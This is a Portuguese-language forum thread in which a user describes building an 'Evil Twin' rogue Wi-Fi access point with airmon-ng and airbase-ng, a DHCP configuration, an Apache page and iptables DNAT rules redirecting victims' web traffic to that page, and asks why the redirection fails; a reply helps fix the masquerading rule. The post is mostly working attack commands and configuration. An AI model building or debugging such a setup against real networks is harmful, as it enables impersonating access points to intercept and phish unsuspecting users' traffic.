iptables problema em gêmeo do mal

1

Eu estive pesquisando o método do Evil Twin e descobri estas etapas:

  1. Criando AP

    airmon-ng start wlan0 
    airbase-ng -e PrivateWIFI -c 9 -v mon0
    
  2. at0 Configuração

    ifconfig at0 up
    ifconfig at0 192.168.1.20 netmask 255.255.255.0
    route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.20
    
  3. Executar DHCP

    echo > '/var/lib/dhcp/dhcpd.leases'
    
    /etc/init.d/isc-dhcp-server start OR dhcpd -d -f -cf /etc/dhcp/dhcpd.conf at0 ( the both of them is working fine )
    

arquivo dhcpd.conf:

ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.0 netmask 255.255.255.0 {
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.1;
    option domain-name-servers 8.8.8.8;
    range 192.168.1.2 192.168.1.250;
}

e então eu iniciei meu servidor apache2

(Até aqui não há problema)

Status (eu posso abrir meu servidor web 192.168.1.20 do meu telefone e ver a página que eu fiz :))

Mas o problema é que quando eu adiciono comandos iptables nada está acontecendo:

iptables --flush
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

////////////////////////////////////////////////////////////////////////

iptables --flush
iptables --table nat --append POSTROUTING --out-interface at0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.20:80
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward

Ambos não estão trabalhando, eu gostaria que alguém pudesse me ajudar.

    
por Khalil Bz 13.05.2015 / 16:20

1 resposta

0

Não sei se o problema é o redirecionamento do seu navegador para o servidor da Web ou se ele não está indo para a Internet, mas estou vendo algo que você deve corrigir.

Você deve ter apenas uma interface de mascaramento, não dois. O correto é eth0 (assumindo que é a interface que é diretamente conectada à internet), não o rogue- net at0 interface. Portanto, você deve remover esse segundo para a última linha.

Depois disso, veja se as coisas funcionam do jeito que você espera. Se não, forneça uma descrição precisa do seu problema, juntamente com os diagnósticos atuais.

Atenciosamente.

    
por 13.05.2015 / 20:26